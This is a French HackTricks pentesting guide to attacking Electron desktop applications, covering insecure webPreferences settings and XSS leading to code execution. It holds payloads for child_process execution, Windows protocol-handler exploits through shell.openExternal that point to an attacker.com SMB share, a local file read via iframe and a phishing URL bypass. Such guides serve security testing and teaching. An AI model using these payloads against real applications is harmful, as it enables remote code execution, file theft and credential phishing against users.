hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md

18 KiB

Applications de bureau Electron

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Introduction

Electron combine un backend local (avec NodeJS) et un frontend (Chromium), bien qu'il manque certains mécanismes de sécurité des navigateurs modernes.

Généralement, vous pouvez trouver le code de l'application Electron à l'intérieur d'une application .asar, pour obtenir le code, vous devez l'extraire :

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Dans le code source d'une application Electron, à l'intérieur de packet.json, vous pouvez trouver spécifié le fichier main.js où les configurations de sécurité sont définies.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron a 2 types de processus :

  • Processus principal (a un accès complet à NodeJS)
  • Processus de rendu (devrait avoir un accès restreint à NodeJS pour des raisons de sécurité)

Un processus de rendu sera une fenêtre de navigateur chargeant un fichier :

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Les paramètres du processus de rendu peuvent être configurés dans le processus principal à l'intérieur du fichier main.js. Certaines des configurations empêcheront l'application Electron de subir une RCE ou d'autres vulnérabilités si les paramètres sont correctement configurés.

L'application Electron pourrait accéder au périphérique via les API Node bien qu'il puisse être configuré pour l'empêcher :

  • nodeIntegration - est désactivé par défaut. S'il est activé, cela permet d'accéder aux fonctionnalités de Node depuis le processus de rendu.
  • contextIsolation - est activé par défaut. S'il est désactivé, les processus principal et de rendu ne sont pas isolés.
  • preload - vide par défaut.
  • sandbox - est désactivé par défaut. Cela restreindra les actions que NodeJS peut effectuer.
  • Intégration de Node dans les Workers
  • nodeIntegrationInSubframes - est désactivé par défaut.
  • Si nodeIntegration est activé, cela permettrait l'utilisation des API Node.js dans les pages web qui sont chargées dans des iframes au sein d'une application Electron.
  • Si nodeIntegration est désactivé, alors les préchargements se chargeront dans l'iframe

Exemple de configuration :

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Certains payloads RCE provenant de ici :

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Capturer le trafic

Modifier la configuration start-main et ajouter l'utilisation d'un proxy tel que :

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Injection de Code Local dans Electron

Si vous pouvez exécuter localement une application Electron, il est possible que vous puissiez lui faire exécuter du code JavaScript arbitraire. Vérifiez comment faire dans:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCE: XSS + nodeIntegration

Si nodeIntegration est défini sur on, le JavaScript d'une page web peut facilement utiliser les fonctionnalités de Node.js en appelant simplement require(). Par exemple, la manière d'exécuter l'application calc sur Windows est la suivante:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Le script indiqué dans ce paramètre est chargé avant les autres scripts dans le moteur de rendu, il a donc un accès illimité aux API Node:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Par conséquent, le script peut exporter les fonctionnalités du nœud vers les pages :

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};

{% endcode %}

{% code title="index.html" %}

<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} Si contextIsolation est activé, cela ne fonctionnera pas {% endhint %}

RCE: XSS + contextIsolation

Le contextIsolation introduit les contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron de sorte que l'exécution JavaScript de chaque code n'affecte pas l'autre. Il s'agit d'une fonctionnalité nécessaire pour éliminer la possibilité de RCE.

Si les contextes ne sont pas isolés, un attaquant peut :

  1. Exécuter du JavaScript arbitraire dans le renderer (XSS ou navigation vers des sites externes)
  2. Écraser la méthode intégrée qui est utilisée dans le code de préchargement ou le code interne d'Electron par sa propre fonction
  3. Déclencher l'utilisation de la fonction écrasée
  4. RCE ?

Il existe 2 endroits où les méthodes intégrées peuvent être écrasées : dans le code de préchargement ou dans le code interne d'Electron :

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

Contourner l'événement de clic

Si des restrictions sont appliquées lorsque vous cliquez sur un lien, vous pourriez être en mesure de les contourner en faisant un clic du milieu au lieu d'un clic gauche régulier

window.addEventListener('click', (e) => {

RCE via shell.openExternal

Pour plus d'informations sur ces exemples, consultez https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 et https://benjamin-altpeter.de/shell-openexternal-dangers/

Lors du déploiement d'une application de bureau Electron, il est crucial de garantir les paramètres corrects pour nodeIntegration et contextIsolation. Il est établi que l'exécution de code à distance côté client (RCE) ciblant les scripts de préchargement ou le code natif d'Electron à partir du processus principal est efficacement empêchée avec ces paramètres en place.

Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenêtres, des écouteurs d'événements spécifiques sont déclenchés, ce qui est crucial pour la sécurité et la fonctionnalité de l'application:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Ces écouteurs sont remplacés par l'application de bureau pour implémenter sa propre logique métier. L'application évalue si un lien navigué doit être ouvert en interne ou dans un navigateur web externe. Cette décision est généralement prise via une fonction, openInternally. Si cette fonction renvoie false, cela indique que le lien doit être ouvert de manière externe, en utilisant la fonction shell.openExternal.

Voici un pseudocode simplifié :

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Les meilleures pratiques de sécurité d'Electron JS déconseillent d'accepter du contenu non fiable avec la fonction openExternal, car cela pourrait entraîner une RCE via divers protocoles. Les systèmes d'exploitation prennent en charge différents protocoles qui pourraient déclencher une RCE. Pour des exemples détaillés et une explication approfondie sur ce sujet, vous pouvez consulter cette ressource, qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.

Exemples d'exploitations de protocoles Windows :

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Lecture des fichiers internes : XSS + contextIsolation

La désactivation de contextIsolation permet l'utilisation des balises <webview>, similaire à <iframe>, pour lire et exfiltrer des fichiers locaux. Un exemple fourni démontre comment exploiter cette vulnérabilité pour lire le contenu des fichiers internes :

De plus, une autre méthode pour lire un fichier interne est partagée, mettant en évidence une vulnérabilité critique de lecture de fichiers locaux dans une application de bureau Electron. Cela implique l'injection d'un script pour exploiter l'application et exfiltrer des données :

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Ancien Chromium

Si le chromium utilisé par l'application est ancien et qu'il présente des vulnérabilités connues, il pourrait être possible de l'exploiter et d'obtenir une RCE via un XSS.
Vous pouvez voir un exemple dans ce writeup: https://blog.electrovolt.io/posts/discord-rce/

Phishing XSS via contournement regex d'URL interne

Supposons que vous ayez trouvé un XSS mais que vous ne pouvez pas déclencher de RCE ou voler des fichiers internes, vous pourriez essayer de l'utiliser pour voler des identifiants via du phishing.

Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS dans le front-end:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

L'appel à openInternally décidera si le lien sera ouvert dans la fenêtre de bureau car il s'agit d'un lien appartenant à la plateforme, ou s'il sera ouvert dans le navigateur en tant que ressource tierce.

Dans le cas où le regex utilisé par la fonction est vulnérable aux contournements (par exemple en ne faisant pas échapper les points des sous-domaines), un attaquant pourrait exploiter la XSS pour ouvrir une nouvelle fenêtre qui sera située dans l'infrastructure de l'attaquant demandant des informations d'identification à l'utilisateur:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Outils

  • Electronegativity est un outil pour identifier les mauvaises configurations et les anti-patrons de sécurité dans les applications basées sur Electron.
  • Electrolint est un plugin open source pour VS Code pour les applications Electron qui utilise Electronegativity.
  • nodejsscan pour vérifier les bibliothèques tierces vulnérables.
  • Electro.ng: Vous devez l'acheter

Laboratoires

Dans https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s, vous pouvez trouver un laboratoire pour exploiter des applications Electron vulnérables.

Quelques commandes qui vous aideront avec le laboratoire:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks: